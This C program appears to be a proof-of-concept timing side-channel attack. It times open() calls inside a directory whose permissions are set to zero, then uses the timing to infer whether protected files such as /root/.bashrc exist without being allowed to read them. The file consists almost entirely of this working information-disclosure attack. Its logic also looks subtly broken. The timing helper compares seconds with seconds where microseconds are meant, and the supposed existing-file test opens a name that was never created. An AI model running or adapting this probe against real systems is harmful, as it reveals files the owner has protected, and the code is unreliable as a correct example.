#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>

#ifndef O_NOFOLLOW
#define O_NOFOLLOW  0400000 /* don't follow links */
#endif

#ifndef O_LARGEFILE
#define O_LARGEFILE 0100000
#endif

int flags = O_RDONLY|O_EXCL|O_SYNC|O_NOCTTY|O_NOFOLLOW;

/* taken from scuts format string example/brute_blind example */

unsigned long int
tv_diff (struct timeval *tv_a, struct timeval *tv_b)
{
        unsigned long int       diff;

        if (tv_a->tv_sec < tv_b->tv_sec ||
                (tv_a->tv_sec == tv_b->tv_sec && tv_a->tv_sec < 
tv_b->tv_sec))
        {
                struct timeval *        tvtmp;

                tvtmp = tv_b;
                tv_b = tv_a;
                tv_a = tvtmp;
        }

        diff = (tv_a->tv_sec - tv_b->tv_sec) * 1000000;
        if (tv_a->tv_sec == tv_b->tv_sec) {
                diff += tv_a->tv_usec - tv_b->tv_usec;
        } else {
                if (tv_a->tv_usec >= tv_b->tv_usec)
                        diff += tv_a->tv_usec - tv_b->tv_usec;
                else
                        diff -= tv_b->tv_usec - tv_a->tv_usec;
        }

        return (diff);
}

void cleanup()
{

	printf("[+] cleaning up\n");
	if(chmod("unreachable", 0700)==-1) {
		printf("\t[-] Unable to revert unreachable back to being reachable\n");
		exit(EXIT_FAILURE);
	}

	if(unlink("unreachable/iexist")==-1) {
		printf("\t[-] Unable to remove unreachable/iexist\n");
		exit(EXIT_FAILURE);
	}

	if(rmdir("unreachable")==-1) {
		printf("\t[-] Unable to rmdir unreachable\n");
		exit(EXIT_FAILURE);
	}
}

int main(int argc, char **argv)
{
	struct timeval tv_a, tv_b;
	int fd_a, fd_b;
	char buf_a[500], buf_b[500];

	unsigned int success, n, failure;
	
	atexit(cleanup);
	
	printf("[+] creating unreachable\n");
	if(mkdir("unreachable", 0700)==-1) {
		printf("\t[-] Unable to create unreachable\n");
		exit(EXIT_FAILURE);
	}
	
	printf("[+] creating unreachable/iexist\n");
	if((fd_a = creat("unreachable/iexist", 0700))==-1) {
		printf("\t[-] Unable to create unreachable/iexist\n");
		exit(EXIT_FAILURE);
	}
	close(fd_a);

	printf("[+] chmod 0'ing unreachable\n");
	if(chmod("unreachable", 00)==-1) {
		printf("\t[-] Unable to chmod unreachable\n");
		exit(EXIT_FAILURE);
	}

	printf("[+] "); fflush(stdout);

	system("ls -alF | grep unreachable");
	
	printf("[+] Timing open() on unreachable/iexist\n");
	
	/* fd_a = open("unreachable/exists", flags);
	close(fd_a); */
	
	gettimeofday(&tv_a, NULL);
	fd_a = open("unreachable/exists", flags);
	gettimeofday(&tv_b, NULL);
	
	
	printf("\t[+] Successful: %ld usecs, got %m\n", (success = tv_diff(&tv_b, &tv_a)));
	close(fd_a);

	printf("[+] Timing open() on unreachable/non-existant\n");
	
/*	fd_b = open("unreachable/non-existant", flags);
	close(fd_b); */
	
	gettimeofday(&tv_a, NULL);
	fd_b = open("unreachable/non-existant", flags);
	gettimeofday(&tv_b, NULL);
	

	printf("\t[+] Failure: %ld usecs, got %m\n", (failure = tv_diff(&tv_b, &tv_a)));

	close(fd_b);
	success += tv_diff(&tv_b, &tv_a);
	
	success /= 3;
//	success -= 2;

	if(failure > success || success > (failure*8) ) {
		printf("[-] It appears the load went up unexpectadly, mebe try re-running?\n");
		exit(EXIT_FAILURE);
	}

	/* tweak the success value */

	if((failure*4) >= success) success--;
	if(success <= (failure*3)) success++;
	
	printf("\t[+] Using %d as our cutoff.\n", success);
	printf("[+] testing /root/.bashrc and /root/non-existant\n");
	
/*	fd_a = open("/root/.bashrc", flags);
	close(fd_a); */
	
	gettimeofday(&tv_a, NULL);
	fd_a = open("/root/.bashrc", flags);
	gettimeofday(&tv_b, NULL);
	
	if((n = tv_diff(&tv_b, &tv_a)) >= success) {
		printf("\t[+] /root/.bashrc exists (%d usecs), got %m\n", n);
	} else {
		printf("\t[+] /root/.bashrc doesn't exist (%d usecs), got %m\n", n);
	}
	close(fd_a);
	
/*	fd_b = open("/root/non-existant", flags);
	close(fd_b); */
	
	gettimeofday(&tv_a, NULL);
	fd_b = open("/root/non-existant", flags);
	gettimeofday(&tv_b, NULL);
	
	if((n = tv_diff(&tv_b, &tv_a)) >= success) {
		printf("\t[+] /root/non-existant exists (%d usecs), got %m\n", n);
	} else {
		printf("\t[+] /root/non-existant doesn't exist (%d usecs), got %m\n", n);
	}
	
	close(fd_b);
}